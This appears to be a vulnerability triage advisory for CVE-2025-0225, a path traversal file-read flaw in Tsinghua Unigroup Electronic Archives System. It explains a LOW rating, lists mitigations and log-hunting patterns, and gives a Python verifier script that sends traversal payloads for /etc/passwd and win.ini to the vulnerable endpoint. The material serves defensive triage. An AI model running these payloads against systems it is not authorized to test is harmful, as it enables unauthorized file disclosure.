A vulnerability classified as problematic was found in Tsinghua Unigroup Electronic Archives System 3

/setting/ClassFy/exampleDownload.html in Tsinghua Unigroup Electronic Archives System 3.2.210802(62532) accepts a user-controlled name parameter and can be tricked into traversing out of the intended directory with sequences like ../. The published CVE metadata and public PoC point to an authenticated remote file-read condition with *low* confidentiality impact, affecting the observed build 3.2.210802(62532); I did not find an authoritative vendor advisory naming a fixed release.

The vendor's MEDIUM 4.3 baseline is a little generous for enterprise triage reality. The decisive friction is PR:L: an attacker needs a valid low-privilege session first, which means this is usually *post-initial-access* or insider abuse, and the exposed population is likely narrow because this is a niche archives platform that is commonly internal-facing rather than broadly internet-facing.

Why this verdict

• Downgraded for attacker position: PR:L means this is not an initial-access bug; it assumes valid credentials or a hijacked session before exploitation even starts.
• Downgraded for blast radius: published scoring shows C:L/I:N/A:N, so the bug reads as limited file disclosure, not takeover, destruction, or service loss.
• Downgraded for exposure population: this is a niche archives product with no reviewed evidence of broad internet exposure or active KEV-level exploitation.
• Not ignored because exploitation is straightforward once inside: the public poc.py lowers operator effort for any attacker who already has application access.

Why not higher?

There is no reviewed evidence of unauthenticated access, no KEV listing, no confirmed active campaigns, and no stated integrity or availability impact. The most important practical truth is that an attacker must already be inside the trust boundary with a working account.

Why not lower?

It is still a real remote traversal with a public PoC, and archives platforms can hold sensitive records. If a low-privileged user can pull unintended files from disk, that is operationally meaningful enough to stay above IGNORE.

1. Block direct access to the vulnerable endpoint — Restrict /setting/ClassFy/exampleDownload.html at the reverse proxy, WAF, or application gateway to trusted admin networks or approved user groups if business workflow allows. For a LOW verdict there is no formal noisgate mitigation SLA; treat this as backlog hygiene and deploy the restriction in the next routine change window.
2. Enforce least privilege on the app service account — Cut filesystem read access for the web application process to only the directories it genuinely needs. This reduces what traversal can disclose even if the input validation flaw remains, and for LOW severity it should be folded into the next normal hardening cycle.
3. Hunt for traversal indicators in web logs — Search historical and live HTTP logs for exampleDownload.html requests carrying ../, %2e%2e%2f, %252e%252e%252f, or backslash variants. That gives you a fast read on whether this bug has been probed while you queue remediation through normal backlog handling.
4. Tighten access to the application — Require VPN, IP allowlisting, and strong SSO/MFA for this application if not already in place. This does not fix the bug, but it meaningfully raises the cost of satisfying the PR:L prerequisite and is worth applying during regular access-control maintenance.

Run this from an auditor workstation against the live web app, not on the server. Invoke it with a reachable base URL and a valid low-privileged session cookie because the CVSS indicates authentication is required, for example: python3 verify_cve_2025_0225.py --url https://archives.example.com --cookie 'JSESSIONID=abc123'; no local admin rights are needed, but you do need network reachability and permission to test the target.

#!/usr/bin/env python3
# CVE-2025-0225 verifier for Tsinghua Unigroup Electronic Archives System
# Usage:
#   python3 verify_cve_2025_0225.py --url https://target.example --cookie 'JSESSIONID=abc123'
# Exit codes:
#   0 = PATCHED
#   1 = VULNERABLE
#   2 = UNKNOWN

import argparse
import sys
import requests
from urllib.parse import urljoin

requests.packages.urllib3.disable_warnings()  # type: ignore

LINUX_MARKERS = ["root:x:0:0:", "/bin/", "/sbin/nologin"]
WINDOWS_MARKERS = ["[extensions]", "for 16-bit app support", "MAPI="]


def build_cookie_dict(raw_cookie: str):
    cookies = {}
    if not raw_cookie:
        return cookies
    for part in raw_cookie.split(';'):
        if '=' in part:
            k, v = part.split('=', 1)
            cookies[k.strip()] = v.strip()
    return cookies


def classify(resp):
    body = resp.text[:8192] if resp.text else ""
    if resp.status_code == 200:
        for marker in LINUX_MARKERS + WINDOWS_MARKERS:
            if marker.lower() in body.lower():
                return "VULNERABLE"
    if resp.status_code in (400, 403, 404):
        return "PATCHED"
    return "UNKNOWN"


def main():
    parser = argparse.ArgumentParser(description="Verify CVE-2025-0225 against a target URL")
    parser.add_argument("--url", required=True, help="Base URL, e.g. https://archives.example.com")
    parser.add_argument("--cookie", default="", help="Authenticated session cookie, e.g. 'JSESSIONID=abc123'")
    parser.add_argument("--timeout", type=int, default=15, help="HTTP timeout in seconds")
    parser.add_argument("--insecure", action="store_true", help="Disable TLS certificate verification")
    args = parser.parse_args()

    base = args.url.rstrip('/') + '/'
    endpoint = urljoin(base, 'setting/ClassFy/exampleDownload.html')
    cookies = build_cookie_dict(args.cookie)
    verify_tls = not args.insecure

    payloads = [
        {'name': '../../../../../../../../etc/passwd'},
        {'name': '..\\..\\..\\..\\..\\..\\Windows\\win.ini'},
        {'name': '..%2f..%2f..%2f..%2fetc%2fpasswd'},
    ]

    headers = {
        'User-Agent': 'noisgate-cve-2025-0225-verifier/1.0',
        'Accept': '*/*'
    }

    saw_unknown = False

    for payload in payloads:
        try:
            resp = requests.get(endpoint, params=payload, headers=headers, cookies=cookies, timeout=args.timeout, verify=verify_tls, allow_redirects=True)
        except requests.RequestException:
            saw_unknown = True
            continue

        verdict = classify(resp)
        if verdict == 'VULNERABLE':
            print('VULNERABLE')
            sys.exit(1)
        elif verdict == 'UNKNOWN':
            saw_unknown = True
        else:
            # PATCHED for this payload; continue checking others for confidence
            pass

    if saw_unknown:
        print('UNKNOWN')
        sys.exit(2)

    print('PATCHED')
    sys.exit(0)


if __name__ == '__main__':
    main()

Sources

1. NVD CVE-2025-0225
2. OpenCVE record for CVE-2025-0225
3. GitHub PoC repository tree (`BxYQ/ld` / `file_read4`)
4. GitHub PoC script reference (`poc.py`)
5. CISA Known Exploited Vulnerabilities Catalog
6. FIRST EPSS overview
7. Aqua Security AVD entry for CVE-2025-0225
8. INCIBE CVE-2025-0225 summary